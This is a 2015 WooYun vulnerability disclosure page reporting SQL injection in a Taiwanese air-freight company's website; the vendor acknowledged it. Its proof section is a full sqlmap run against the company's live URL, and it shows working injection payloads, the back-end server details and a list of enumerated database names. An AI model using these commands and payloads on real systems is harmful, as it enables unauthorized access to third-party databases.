当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096564

漏洞标题:台湾宇宸航空貨運承攬有限公司SQL注入

相关厂商:台湾宇宸航空貨運承攬有限公司

漏洞作者: 路人甲

提交时间:2015-02-12 11:36

修复时间:2015-03-29 11:38

公开时间:2015-03-29 11:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-12: 细节已通知厂商并且等待厂商处理中
2015-02-16: 厂商已经确认,细节仅向厂商公开
2015-02-26: 细节向核心白帽子及相关领域专家公开
2015-03-08: 细节向普通白帽子公开
2015-03-18: 细节向实习白帽子公开
2015-03-29: 细节向公众公开

简要描述:

RT//

详细说明:

航空飞机,飞一会儿。。。

QQ截图20150210050257.png


QQ截图20150210050309.png

漏洞证明:

QQ截图20150210050318.png


[root@Hacker~]# Sqlmap Sqlmap -u "http://www.yce.tw/index-message.aspx?id=94" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable
[*] starting at 05:00:51
[05:00:51] [INFO] testing connection to the target URL
[05:00:51] [INFO] testing if the target URL is stable. This can take a couple of seconds
[05:00:52] [INFO] target URL is stable
[05:00:52] [INFO] testing if GET parameter 'id' is dynamic
[05:00:53] [INFO] confirming that GET parameter 'id' is dynamic
[05:00:53] [INFO] GET parameter 'id' is dynamic
[05:00:53] [WARNING] reflective value(s) found and filtering out
[05:00:54] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[05:00:54] [INFO] testing for SQL injection on GET parameter 'id'
[05:00:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:00:55] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[05:00:57] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'Microsoft SQL Server'
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] y
[05:01:00] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[05:01:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[05:01:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[05:01:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[05:01:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[05:01:02] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause'
[05:01:03] [INFO] testing 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)'
[05:01:03] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[05:01:03] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[05:01:04] [INFO] testing 'MySQL inline queries'
[05:01:04] [INFO] testing 'PostgreSQL inline queries'
[05:01:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[05:01:04] [INFO] testing 'Oracle inline queries'
[05:01:05] [INFO] testing 'SQLite inline queries'
[05:01:05] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[05:01:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[05:01:06] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[05:01:16] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase stacked queries' injectable
[05:01:16] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[05:01:27] [INFO] GET parameter 'id' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[05:01:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:01:27] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[05:01:28] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending
[05:01:29] [INFO] target URL appears to have 7 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] y
[05:01:42] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 66 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=94 AND 9764=9764
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-6794 UNION ALL SELECT 22,CHAR(113)+CHAR(114)+CHAR(114)+CHAR(110)+CHAR(113)+CHAR(107)+CHAR(75)+CHAR(71)+CHAR(83)+CHAR(69)+CHAR(80)+CHAR(72)+CHA
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=94; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=94 WAITFOR DELAY '0:0:5'--
---
[05:01:44] [INFO] testing Microsoft SQL Server
[05:01:44] [INFO] confirming Microsoft SQL Server
[05:01:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[05:01:45] [INFO] fetching database names
[05:01:46] [INFO] the SQL query used returns 8 entries
[05:01:46] [INFO] retrieved: "Distribution"
[05:01:46] [INFO] retrieved: "DistributionTest"
[05:01:47] [INFO] retrieved: "master"
[05:01:47] [INFO] retrieved: "model"
[05:01:47] [INFO] retrieved: "msdb"
[05:01:48] [INFO] retrieved: "ReportServer"
[05:01:48] [INFO] retrieved: "ReportServerTempDB"
[05:01:49] [INFO] retrieved: "tempdb"
available databases [8]:
[*] Distribution
[*] DistributionTest
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[05:01:49] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[05:01:49] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occurances w
[05:01:49] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Desktop\???~1\???~1\SQLMAP~1.4\Bin\output\www.yce.tw'

修复方案:

NULL

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-02-16 21:11

厂商回复:

謝謝通報

最新状态:

暂无